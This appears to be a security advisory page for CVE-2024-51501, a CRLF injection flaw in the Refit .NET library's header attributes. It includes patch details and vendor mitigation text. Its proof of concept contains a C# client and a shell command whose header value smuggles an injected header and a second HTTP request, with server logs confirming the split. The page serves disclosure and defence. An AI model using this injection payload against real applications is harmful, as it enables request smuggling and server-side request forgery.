CVE-2024-51501 — Refit
Fix: reactiveui/refit@483b1d8CVE-2024-51501 is a CWE-93 vulnerability in Refit. A fix is available for Refit — see the affected versions and patch details below.
CRLF injection in Refit's [Header], [HeaderCollection] and [Authorize] attributes
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-51501.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
RefitReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects NuGet packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.
Details
The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328
This method does not check for CRLF characters in the header value.
This means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.
PoC
The below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the "Authorization" header:
using Refit;
internal class Program
{
private static void Main(string[] args)
{
// Usage: dotnet run <bearer token>
string token = args[0];
var service = RestService.For<IStatusApi>("http://insert.some.site.here");
string response = service.GetStatus(token).Result;
Console.WriteLine($"Response: {response}");
}
public interface IStatusApi
{
[Get("/status")]
Task<string> GetStatus([Authorize("Bearer")] string token);
}
}
This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):
anonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Response: <html></html>
The application intends to send a single request of the form:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer <bearer token>
But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer test
User-Agent: injected header!
and
GET /smuggled HTTP/1.1
Host: insert.some.site.here
This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):
anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "-"
Impact
If an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.
Strictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| .NETNuGet | Refit | all versions | 7.2.22dotnet add package Refit --version 7.2.22 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for Refit, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update Refit to 7.2.22 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-51501 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-51501 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-51501. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-51501 in your dependencies?
O3 Security finds CVE-2024-51501 across NuGet dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.